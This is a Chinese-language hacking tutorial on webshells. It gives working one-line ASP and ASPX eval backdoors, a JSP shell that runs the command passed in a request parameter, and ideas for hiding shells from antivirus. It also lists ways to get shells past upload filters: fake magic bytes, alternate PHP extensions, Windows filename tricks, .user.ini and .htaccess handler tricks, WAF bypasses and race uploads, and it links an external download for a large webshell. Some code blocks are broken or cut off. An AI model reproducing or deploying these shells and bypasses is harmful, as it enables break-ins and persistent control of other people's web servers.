木马详解
最全木马详解
简单木马种类:asp、php、jsp、aspx
变形木马:htaccess,cer
先来看看最简单的一句话木马:
- 代码解释:
- @表示后面即使执行错误,也不报错:由于一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义,会暴露密码,所以我们加上@
- eval()函数表示括号内的语句字符串什么的全都当做代码执行。想执行什么代码,就把什么代码放进变量attack位置下。如果想查看目标硬盘内容,可以用php函数:opendir()和readdir()等等。想上传内容就用php函数:move_uploaded_file。想执行cmd命令,则用exec()。前提是php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看禁用函数列表 disable_functions = proc_open, popen,
exec
, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。 - $_POST[‘attack’]表示从页面中获得attack这个参数值。
- 入侵条件
- 木马上传成功,未被杀;
- 知道木马的路径在哪;
- 上传的木马能正常运行。
常见形式
常见的一句话木马:
php的一句话木马:
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“pass”],”unsafe”);%>
jsp的一句话是:木马免杀
一般网站管理员都会安装杀毒软件,即使木马上传成功,一段时间之后也会被杀掉,所以我们要对木马进行免杀操作,把它伪装的不像一个木马躲过杀毒软件。所以我们接下来要进行木马免杀操作。
- 【免杀思路】:
- 将源代码进行再次编码。
利用各种php变形函数,对一句话木马进行变形
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
eval可以和assert交换,使用php一句话木马进行变形,代码如下
1 | <?php |
- 将那一句话木马进行base64编码,存放在”乱七八糟”的代码中。
- 还是一句话木马,进行在数组中键值对变形。
小马和大马
小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。
网页小马
小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。
Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:
<%
if(“123”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(“
");“);
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
}
%>
成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。
网页大马
大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。
中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。
来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
在这里插入图片描述继续访问下命令执行功能(其他功能不展示了):
最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
WebShell
Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
木马生效方式:getshell+文件上传
文件类型检测绕过
更改请求绕过(MIME漏洞和前端JS漏洞)
Magic检测绕过
有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
1 | 类型 二进制值 |
- 后缀绕过
部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。
1 | - php由于历史原因可以解析多种后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。 |
- 系统命名绕过
在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。
在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件
- user.ini
在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif
- WAF绕过
有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数,另外,Waf和Web系统对 boundary
的处理不一致,可以使用错误的 boundary 来完成绕过。
- 竞争上传绕过
有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。
攻击技巧
- Apache重写GetShell
Apache可根据是否允许重定向考虑上传.htaccess,将png或者其他后缀的文件做php脚本执行
1 | AddType application/x-httpd-php .png |
- 软链接任意读文件
上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果